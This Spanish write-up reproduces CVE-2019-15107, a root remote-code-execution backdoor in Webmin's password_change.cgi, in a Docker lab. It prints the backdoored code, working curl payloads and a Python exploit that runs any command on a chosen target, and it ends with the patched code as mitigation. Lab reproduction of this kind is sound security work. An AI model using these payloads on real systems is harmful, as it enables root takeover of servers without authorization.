
Exploit PoC para CVE-2019-15107, una vulnerabilidad de ejecución remota de código en Webmin 1.920 y anteriores. Incluye configuración de laboratorio basada en Docker, scripts de exploit en curl y Python, y guía de mitigación.
[CVE-2019-15107] es una vulnerabilidad en Webmin, una herramienta de administración de sistemas basada en web utilizada en sistemas Unix. En el código que cambia las contraseñas de dicha herramienta, un parámetro específico se pasa directamente a un comando shell sin filtrar, lo que permite ejecutar código arbitrario (Ejecución Remota de Código, RCE).
La vulnerabilidad se encontró en password_change.cgi, que cambia las contraseñas, al usar Webmin versión 1.920 o anterior. La vulnerabilidad surgió porque se inyectó código malicioso durante la distribución de Webmin a través de SourceForge.
En esta reproducción se utiliza la versión 1.910 de Webmin, la misma que se usó en vulhub. Además, dado que el cambio de contraseña solo está habilitado cuando passwd_mode=2, configuremos el entorno con passwd_mode=2.
Junto con el archivo de lanzamiento de Webmin versión 1.910 preparado webmin_1.910_all.deb, ingrese el siguiente comando para configurar el entorno vulnerable:
docker compose up -d
Los archivos
Dockerfileydocker-entrypoint.shse han adaptado para archivos locales consultando el formato preconstruido en vulhub.
El cambio de contraseña requiere parámetros familiares como user, old, new1, new2. Entre ellos, se había insertado un código que ejecuta el valor del parámetro old.
A continuación se muestra una parte del archivo password_change.cgi de la versión 1.910. qx/$in{'old'}/ es el código que ejecuta el valor de old mencionado anteriormente. Al manipular ese valor, se hace posible la ejecución de código arbitrario.
user@user:~/Documents/vulhub/webmin/CVE-2019-15107$ cat password_change.cgi | grep -C5 "\$in{'old'}"
die "Missing password file configuration";
}
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
Se puede reproducir la vulnerabilidad accediendo a password_change.cgi en Webmin y manipulando la variable old en una solicitud.
Ya sea usando curl o python, cualquier método que pueda enviar una solicitud a password_change.cgi es suficiente. Los tres ejemplos tienen como objetivo insertar el comando id en old para imprimir el uid.
curl -k -X POST https://your-ip:10000/password_change.cgi -d "user=nonexistent&pam=&expired=2&old=**id**&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
curl -k "https://your-ip:10000/password_change.cgi?user=rootxx&pam=&expired=2&old=id&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
import requests
import sys
import argparse
def exploit_webmin(target, command):
url = f"https://{target}/password_change.cgi"
# HTTPS 인증서 무시
requests.packages.urllib3.disable_warnings()
# CVE-2019-15107 payload
# old 파라미터에 명령어 입력
data = {
'user': 'rootxx',
'pam': '',
'expired': '2',
'old': command, # 명령어
'new1': 'test2',
'new2': 'test2'
}
headers = {
'Referer': f'https://{target}/session_login.cgi',
}
try:
response = requests.post(
url,
data=data,
headers=headers,
verify=False,
timeout=5
)
if response.status_code == 200:
print("[+] Exploit sent!")
print("[+] Response:")
print(response.text)
return True
else:
print(f"[-] Status code: {response.status_code}")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC')
parser.add_argument('-t', '--target', required=True, help='Target IP:port (e.g., 127.0.0.1:10000)')
parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
args = parser.parse_args()
print(f"[*] Exploiting Webmin at {args.target}")
print(f"[*] Command: {args.command}")
exploit_webmin(args.target, args.command)
Se puede ejecutar de la siguiente manera.
python3 PoC.py -t your-ip:10000 -c "id"

Con el método anterior, al insertar el comando deseado en el parámetro old, el comando se ejecuta tal cual. El resultado muestra que todos los uid son 0, lo que confirma que se ejecuta con privilegios de root.
Es decir, esta vulnerabilidad [CVE-2019-15107] permite realizar RCE con privilegios de root.
Además, si se prepara una reverse shell, se puede obtener un shell del servidor conectándose a ella.
Una vez finalizada la reproducción de la vulnerabilidad, se puede detener el servicio con el siguiente código.
docker compose down
La forma más sencilla es actualizar Webmin.
Este es el código modificado al actualizar a la versión 1.930. Se eliminó la parte que ejecutaba el valor de old.
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
&reload_miniserv();
}
Si la parte de ejecución de código fuera necesaria, se podría solucionar insertando código que valide el valor de entrada old.